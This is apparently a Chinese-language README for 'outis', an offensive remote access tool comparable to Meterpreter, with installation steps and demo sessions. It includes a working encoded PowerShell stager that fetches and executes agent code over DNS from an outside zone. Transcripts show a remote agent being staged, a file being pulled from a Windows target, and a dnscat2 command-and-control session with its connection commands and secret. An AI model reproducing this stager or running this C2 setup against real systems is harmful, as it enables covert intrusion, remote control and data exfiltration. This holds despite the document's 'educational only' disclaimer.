outis 是一款自定义远程管理工具（RAT）或类似的东西。可以把它想象成 Meterpreter 或 Empire-Agent。然而，这款工具的重点既不是利用工具包（它不包含任何漏洞利用程序），也不是对目标的持久管理。其核心在于通过各种方法和平台在服务器与目标系统之间进行通信，以及传输文件、共享套接字、生成 Shell 等。
荷马史诗《奥德赛》中的独眼巨人波吕斐摩斯在名字解析方面遇到了一些问题。当他询问奥德修斯的名字时，这位黑客告诉他，自己的名字是“Outis”，在古希腊语中意为“没有人”。因此，当波吕斐摩斯后来大喊“没有人”要杀死他时，奇怪的是没有任何救援到来。
感谢 Marcel 让我想起这个绝妙的经典故事片段。
Archlinux 用户可以安装以下软件包：
在其他发行版中，名称可能有所不同，例如有一个名为 crypto 的模块和一个名为 pycrypto 的模块。我们需要的是后者。
此外，旧版本可能会引发问题：
$ python3 -c 'import OpenSSL; print(OpenSSL.version.__version__)'
你可以相当轻松地设置一个 Python 虚拟环境：
$ virtualenv outis-venv
$ source ./outis-venv/bin/activate
(outis-venv) $ pip install progressbar2 dnspython pycrypto pyopenssl
这将生成以下包列表，它们在我这里可以正常工作：
$ pip freeze
appdirs==1.4.3
asn1crypto==0.22.0
cffi==1.10.0
cryptography==1.8.1
dnspython==1.15.0
idna==2.5
packaging==16.8
progressbar2==3.18.1
pycparser==2.17
pycrypto==2.6.1
pyOpenSSL==16.2.0
pyparsing==2.2.0
python-utils==2.1.0
six==1.10.0
使用递归标志克隆此仓库，以同时克隆其第三方工具文件夹中的子模块：
git clone --recursive ...
处理器运行在 Python 3 上。安装其依赖项并运行它。它将为你生成阶段程序、代理程序以及所有其他内容。
如需绑定低端口而无需 root 权限，可考虑使用能力包装器。
使用 PowerShell 平台并通过阶段化 DNS 传输下载文件的过程如下所示：
$ outis
outis> set TRANSPORT DNS
outis> set ZONE zfs.sy.gs
outis> set AGENTDEBUG TRUE
outis> info
[+] Options for the Handler:
Name Value Required Description
----------------- ---------- -------- -----------------------------------------------------------------
TRANSPORT DNS True Communication way between agent and handler (Options: REVERSETCP,
DNS)
CHANNELENCRYPTION TLS True Encryption Protocol in the transport (Options: NONE, TLS)
PLATFORM POWERSHELL True Platform of agent code (Options: POWERSHELL)
PROGRESSBAR TRUE True Display a progressbar for uploading / downloading? (only if not
debugging the relevant module) (Options: TRUE, FALSE)
[+] Options for the TRANSPORT module DNS:
Name Value Required Description
--------- ----------- -------- ------------------------------------------------------------------------
ZONE zfs.sy.gs True DNS Zone for handling requests
LHOST 0.0.0.0 True Interface IP to listen on
LPORT 53 True UDP-Port to listen on for DNS server
DNSTYPE TXT True DNS type to use for the connection (stager only, the agent will
enumerate all supported types on its own) (Options: TXT, A)
DNSSERVER False IP address of DNS server to connect for all queries
[+] Options for the PLATFORM module POWERSHELL:
Name Value Required Description
-------------------- -------------------------- -------- ----------------------------------------------
STAGED TRUE True Is the communication setup staged or not?
(Options: TRUE, FALSE)
STAGEENCODING TRUE True Should we send the staged agent in an encoded
form (obscurity, not for security!) (Options:
TRUE, FALSE)
STAGEAUTHENTICATION TRUE True Should the stager verify the agent code
before executing (RSA signature verification
with certificate pinning) (Options: TRUE,
FALSE)
STAGECERTIFICATEFILE $TOOLPATH/data/outis.pem False File path of a PEM with both RSA key and
certificate to sign and verify staged agent
with (you can generate a selfsigned cert by
using the script gencert.sh initially)
AGENTTYPE DEFAULT True Defines which agent should be used (the
default outis agent for this plattform, or
some third party software we support)
(Options: DEFAULT, DNSCAT2, DNSCAT2DOWNLOADER)
TIMEOUT 9 True Number of seconds to wait for each request
(currently only supported by DNS stagers)
RETRIES 2 True Retry each request for this number of times
(currently only supported by DNS stagers)
AGENTDEBUG TRUE True Should the agent print and log debug messages
(Options: TRUE, FALSE)
outis> generatestager
[+] Use the following stager code:
powershell.exe -Enc JAByAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAYQA9ACIAIgA7ACQAdAA9ADAAOwBmAG8AcgAoACQAaQA9ADAAOwA7
ACQAaQArACsAKQB7ACQAYwA9ACgAWwBzAHQAcgBpAG4AZwBdACgASQBFAFgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AdAB5AHAAZQA9AFQAWA
BUACAALQB0AGkAbQBlAG8AdQB0AD0AOQAgAHMAJAAoACQAaQApAHIAJAAoACQAcgApAC4AegBmAHMALgBzAHkALgBnAHMALgAgACIAKQApAC4A
UwBwAGwAaQB0ACgAJwAiACcAKQBbADEAXQA7AGkAZgAoACEAJABjACkAewBpAGYAKAAkAHQAKwArAC0AbAB0ADIAKQB7ACQAaQAtAC0AOwBjAG
8AbgB0AGkAbgB1AGUAOwB9AGIAcgBlAGEAawA7AH0AJAB0AD0AMAA7ACQAYQArAD0AJABjADsAfQAkAGEAPQBbAEMAbwBuAHYAZQByAHQAXQA6
ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYQApADsAJABiAD0AJABhAC4ATABlAG4AZwB0AGgAOwAkAGYAcAA9ACIAWA
B4AEkAMgArAGUAQgBoAGUAUgBMAFMATQBuAHIAVQBNAFgAbgBnAHIARABTAGQATwAyAGQAOAAwAGMAZAB2AHcAcwBKAGMAYwBGAEIAbgAvAGYA
LwB3AEoATwBpAEIAVAA4AGIATwA2AHAAZgBXAFgAdwBwAEUATwBQAFAAUgBsAFAAdgBnAE8AbgBlAGcAYwBpAE8AYgBPAGEAZABOAFAAVQBxAH
AAZgBRAD0APQAiADsAJABpAD0AMAA7ACQAYQA9ACQAYQB8ACUAewAkAF8ALQBiAFgAbwByACQAZgBwAFsAJABpACsAKwAlACQAZgBwAC4ATABl
AG4AZwB0AGgAXQB9ADsAJABwAGsAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAwACwANwA1ADUAKQA7ACQAcw
BpAGcAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAA3ADUANQAsADYAOAA0ACkAOwAkAHMAPQBOAGUAdwAtAE8A
YgBqAGUAYwB0ACAAUwB0AHIAaQBuAGcAKAAkAGEALAAxADQAMwA5ACwAKAAkAGIALQAxADQAMwA5ACkAKQA7ACQAcwBoAGEAPQBOAGUAdwAtAE
8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBTAEgAQQA1ADEAMgBNAGEAbgBhAGcAZQBk
ADsAaQBmACgAQAAoAEMAbwBtAHAAYQByAGUALQBPAGIAagBlAGMAdAAgACQAcwBoAGEALgBDAG8AbQBwAHUAdABlAEgAYQBzAGgAKAAkAHAAaw
AuAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAKQAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIA
aQBuAGcAKAAkAGYAcAApACkAIAAtAFMAeQBuAGMAVwBpAG4AZABvAHcAIAAwACkALgBMAGUAbgBnAHQAaAAgAC0AbgBlACAAMAApAHsAIgBFAF
IAUgBPAFIAMQAiADsARQB4AGkAdAAoADEAKQB9ADsAJAB4AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5
AHAAdABvAGcAcgBhAHAAaAB5AC4AUgBTAEEAQwByAHkAcAB0AG8AUwBlAHIAdgBpAGMAZQBQAHIAbwB2AGkAZABlAHIAOwAkAHgALgBGAHIAbw
BtAFgAbQBsAFMAdAByAGkAbgBnACgAJABwAGsAKQA7AGkAZgAoAC0ATgBvAHQAIAAkAHgALgBWAGUAcgBpAGYAeQBEAGEAdABhACgAJABzAC4A
VABvAEMAaABhAHIAQQByAHIAYQB5ACgAKQAsACIAUwBIAEEANQAxADIAIgAsAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG
UANgA0AFMAdAByAGkAbgBnACgAJABzAGkAZwApACkAKQB7ACIARQBSAFIATwBSADIAIgA7AEUAeABpAHQAKAAyACkAfQA7ACIARwBPAEEARwBF
AE4AVAAiADsASQBFAFgAIAAkAHMAOwA=
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (34332 bytes)...
100% (184 of 184) |########################################################| Elapsed Time: 0:00:16 Time: 0:00:16
[+] Staging done
[+] Waiting for connection and TLS handshake...
[+] Initial connection with new agent started
[+] Upgrade to TLS done
outis session> [+] AGENT: Hello from Agent
outis session> download C:\testfile.txt /tmp/out.txt
[+] initiating download of remote file C:\testfile.txt to local file /tmp/out.txt
[+] agent reports a size of 3295 bytes for channel 1
100% (3295 of 3295) |######################################################| Elapsed Time: 0:00:00 Time: 0:00:00
[+] wrote 3295 bytes to file /tmp/out.txt
outis session> exit
Do you really want to exit the session and close the connection [y/N]? y
outis> exit
或者，我们可能想使用 dnscat2 来执行实际操作，而仅将 outis 用于阶段部署：
$ outis
outis> set TRANSPORT DNS
outis> set AGENTTYPE DNSCAT2
outis> set ZONE zfs.sy.gs
outis> run
[+] DNS listening on 0.0.0.0:53
[+] Sending staged agent (406569 bytes)...
100% (2185 of 2185) |#######################################################| Elapsed Time: 0:01:17 Time: 0:01:17
[+] Staging done
[+] Starting dnscat2 to handle the real connection
New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted and authenticated
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = zfs.sy.gs]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg== zfs.sy.gs
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=muzynL9ofNW+vymbGMLmi1W1QOT7jEJNYcCRZ1wy5fzTf1Y3epy1RuO7BcHJcIsBvGsZW9NvmQBUSVmUXMCaTg==
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
dnscat2> New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2> sessions
0 :: main [active]
crypto-debug :: Debug window for crypto stuff [*]
dns1 :: DNS Driver running on 0.0.0.0:53 domains = zfs.sy.gs [*]
1 :: command (feynman-win7) [encrypted and verified] [*]
dnscat2> session -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a command session!
That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.
command (feynman-win7) 1> download c:/testfile.txt /tmp/out.txt
Attempting to download c:/testfile.txt to /tmp/out.txt
Wrote 3295 bytes from c:/testfile.txt to /tmp/out.txt!
command (feynman-win7) 1> exit
Input thread is over
此项目的灵感来源于（并厚颜无耻地借用了其部分代码）：
Empire:
Metasploit:
ReflectiveDLLInjection:
p0wnedShell:
dnscat2:
dnsftp
使用风险自负。未经所有相关人员完全同意，请勿使用。仅供教育目的。